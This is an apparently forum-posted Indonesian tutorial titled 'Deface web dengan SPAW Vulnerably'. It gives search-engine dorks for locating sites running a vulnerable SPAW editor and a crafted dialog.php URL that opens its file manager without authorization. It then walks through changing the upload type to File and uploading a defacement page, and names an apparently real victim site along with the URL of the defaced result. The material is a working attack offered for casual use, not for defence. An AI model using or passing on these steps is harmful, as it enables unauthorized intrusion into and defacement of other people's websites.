Deface web dengan SPAW Vulnerably

CREDIT: PAJENK

DORK
inurl:spaw2/dialogs/ atau
inurl:spaw2/uploads/files/
POC
spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2 &lang=es&charset=&scid=cf73b58bb51c52235494da75 2d9 8cac9

jika sudah menemukan targetnya contoh seperti ini :
http://olgabz.com/spaw2/dialogs/

lalu kamu ganti spaw2/dialogs/"
dengan
spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2 &lang=es&charset=&scid=cf73b58bb51c52235494da75 2d9 8cac9

jadinya kya gini http://olgabz.com/spaw2/dialogs/dial...a752d9%208cac9

nanti akan muncul SPAW File Manager,lihat gambar di bawah ini :

Spoiler for liat gan:

jangan lupa ganti type nya dari image ke File,dan kamu tinggal upload file kamu..
jika sudah trus di apain...??
yaudah selesai emang mau ngapain ??? heheheh
kidding,,

trus kamu lihat file kamu sudah masuk blom seperti gambar di bawah ini:

Spoiler for liat gan:

lalu bagaimana cara melihat hasil deface kita???
cara nya,kamu klick file yg sudah kamu upload,nanti akan ada tulisan download file di sebelah kanan,,dan kamu klick,,maka hasil file deface kamu akan keluar seperti ini..

ni hasilnya http://olgabz.com/spaw2/uploads/files/pajenk.html

udah dehh selesai deface nya,,gampang kan ???